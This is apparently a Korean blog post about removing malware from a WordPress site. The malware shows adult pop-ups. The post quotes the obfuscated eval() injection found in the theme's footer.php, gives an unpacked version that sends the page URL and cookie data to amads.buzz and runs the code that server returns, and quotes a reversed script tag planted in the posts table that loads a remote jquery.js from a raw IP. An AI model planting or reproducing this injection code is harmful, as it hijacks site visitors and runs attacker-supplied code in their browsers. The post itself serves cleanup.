워드프레스에서 성인 팝업이 뜨는 악성 코드

728x90

위에서 보이는 것처럼 popunder로 시작하는 이름의 하루 짜리 쿠키가 생성됩니다.

저 쿠키가 살아있는 동안은 성인 사이트가 안 뜨는 것 같네요(페이지별로 따로 쿠키가 생성되는 것 같은 느낌이...)

성인 사이트 팝업이 뜨는 페이지의 소스 보기를 해서 가장 하단으로 가 보니 아래와 같은 코드가 있네요.

이런 경우는 높은 확률(?)로 테마(/wp-content/themes/) 디렉토리로 가서 확인해 보면 됩니다.

저 같은 경우는 footer.php 파일 하단에 박혀 있더라구요. 삭제해 주면 됩니다.

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 15={\'51\':\'//102.61\',\'6\':\'62\',\'48\':38};23 44(){2 3;9{3=25 55("64.52")}7(11){9{3=25 55("63.52")}7(66){3=38}}5(!3&&67 50!=\'69\'){3=25 50()}42 3};23 18(28){2 6=" "+43.6;2 34=" "+28+"=";2 33=17;2 16=0;2 21=0;5(6.13>0){16=6.37(34);5(16!=-1){16+=34.13;21=6.37(";",16);5(21==-1){21=6.13}33=65(6.56(16,21))}}42(33)};23 19(28,47,24,30,31,36){43.6=28+"="+68(47)+((24)?"; 24="+24:"")+((30)?"; 30="+30:"")+((31)?"; 31="+31:"")+((36)?"; 36":"")};(23(12,46){2 22=18(12);5(22==17)22=0;2 32=18(12+\'57\');5(32==17)32=\'[]\';2 29=18(12+\'40\');5(29==17)29=\'[]\';2 3=44();3.60(\'59\',46,58);3.71("70-73","74/91-92-93-94");3.95=23(){5(3.90==4&&3.96==98){9{5(3.45.13==0)42;2 20=41.49(3.45);2 26=\'\';2 14=0;2 39=38;9{26=20[\'99\']}7(11){}9{14=20[\'100\']}7(11){}9{39=(20[\'101\']==1)}7(11){}15[\'48\']=39;5(26.13>0){2 10=25 89();10.88(10.87()+1);5(14>0){19(12+\'86\',14.53(),10.27())}9{19(12+\'85\',20[\'84\'],10.27())}7(11){}5(22==0){19(12,\'1\',10.27())}2 8=17;9{8=41.49(18(15[\'6\']+\'40\'))}7(11){}5(8==17)8=[];5(8.37(14)==-1)8[8.13]=1*14;19(15[\'6\']+\'40\',41.83(8),10.27());54.82(26)}}7(11){}}};3.81(\'80=\'+22.53()+\'&79=\'+35(54.78.77)+\'&76=\'+35(32)+\'&75=\'+35(29))})(15[\'6\'],15[\'51\']+\'/97.72\');',10,103,'||var|xmlhttp||if|cookie|catch|vM|try|vDate|e|sCookieName|length|iT|vXAdsObj|offset|null|getCookie|setCookie|Response|end|iStatus|function|expires|new|sCode|toUTCString|name|sMS|path|domain|sMA|setStr|search|encodeURIComponent|secure|indexOf|false|bM|_ms|JSON|return|document|getXmlHttp|responseText|sUrl|value|mobile|parse|XMLHttpRequest|url|XMLHTTP|toString|window|ActiveXObject|substring|_ma|true|POST|open|buzz|xads_platf|Microsoft|Msxml2|unescape|E|typeof|escape|undefined|Content|setRequestHeader|php|type|application|ms|ma|href|location|u|s|send|eval|stringify|fp|_fp|_t|getFullYear|setYear|Date|readyState|x|www|form|urlencoded|onreadystatechange|status|g|200|c|t|m|amads'.split('|'),0,{}))

전체를 복사해서 코드를 언패킹해 주는 사이트에 가서 확인해 보면 아래처럼 생겼습니다.

var vXAdsObj = {
	'url':'//amads.buzz','cookie':'xads_platf','mobile':false
};

function getXmlHttp() {
	var xmlhttp;
	try {
		xmlhttp=new ActiveXObject("Msxml2.XMLHTTP")
	} catch(e) {
		try {
			xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
		} catch(E) {
			xmlhttp=false
		}
	}
	if(!xmlhttp&&typeof XMLHttpRequest!='undefined') {
		xmlhttp=new XMLHttpRequest()
	}
	return xmlhttp
};

function getCookie(name) {
	var cookie=" "+document.cookie;
	var search=" "+name+"=";
	var setStr=null;
	var offset=0;
	var end=0;
	if(cookie.length>0) {
		offset=cookie.indexOf(search);
		if(offset!=-1) {
			offset+=search.length;
			end=cookie.indexOf(";",offset);
			if(end==-1) {
				end=cookie.length
			}
			setStr=unescape(cookie.substring(offset,end))
		}
	}
	return(setStr)
};

function setCookie(name,value,expires,path,domain,secure) {
	document.cookie=name+"="+escape(value)+((expires)?";expires="+expires:"")+((path)?";path="+path:"")+((domain)?";domain="+domain:"")+((secure)?";secure":"")
};

(function(sCookieName,sUrl) {
	var iStatus=getCookie(sCookieName);
	if(iStatus==null) iStatus=0;
	var sMA=getCookie(sCookieName+'_ma');
	if(sMA==null) sMA='[]';
	var sMS=getCookie(sCookieName+'_ms');
	if(sMS==null) sMS='[]';
	var xmlhttp=getXmlHttp();
	xmlhttp.open('POST',sUrl,true);
	xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	xmlhttp.onreadystatechange=function() {
		if(xmlhttp.readyState==4&&xmlhttp.status==200) {
			try {
				if(xmlhttp.responseText.length==0) return;
				var Response=JSON.parse(xmlhttp.responseText);
				var sCode='';
				var iT=0;
				var bM=false;
				try {
					sCode=Response['c']
				} catch(e) {
				}
				try {
					iT=Response['t']
				} catch(e) {
				}
				try {
					bM=(Response['m']==1)
				} catch(e) {
				}
				vXAdsObj['mobile']=bM;
				if(sCode.length>0) {
					var vDate=new Date();
					vDate.setYear(vDate.getFullYear()+1);
					if(iT>0) {
						setCookie(sCookieName+'_t',iT.toString(),vDate.toUTCString())
					}
					try {
						setCookie(sCookieName+'_fp',Response['fp'],vDate.toUTCString())
					} catch(e) {
					}
					if(iStatus==0) {
						setCookie(sCookieName,'1',vDate.toUTCString())
					}
					var vM=null;
					try {
						vM=JSON.parse(getCookie(vXAdsObj['cookie']+'_ms'))
					} catch(e) {
					}
					if(vM==null)vM=[];
					if(vM.indexOf(iT)==-1)vM[vM.length]=1*iT;
					setCookie(vXAdsObj['cookie']+'_ms',JSON.stringify(vM),vDate.toUTCString());
					window.eval(sCode)
				}
			} catch(e) {
			}
		}
	};
	xmlhttp.send('s='+iStatus.toString()+'&u='+encodeURIComponent(window.location.href)+'&ma='+encodeURIComponent(sMA)+'&ms='+encodeURIComponent(sMS))
}
)(vXAdsObj['cookie'],vXAdsObj['url']+'/g.php');

다음으로 디비도 살펴 봐야 합니다.

wp_en_posts 테이블에 많이 있더라구요. 값을 제일 뒤에 많이 붙어 있습니다.

<script> document.write(\'>tpircs/<>\"sj.yreuqj/87.611.942.431//:sptth\"=crs tpircs<\'.split(\"\").reverse().join(\"\"))</script>

위에 있는 코드 그대로 reverse를 하면 https://134.249.116.78/jquery.js 이런 게 나오네요.

칼럼마다 해당 값들 전부 replace로 삭제해 버리고 페이지 새로 실행시키면 이제 안 나오는 것 같습니다.

반응형

이 글을 공유하기

댓글

Designed by JB FACTORY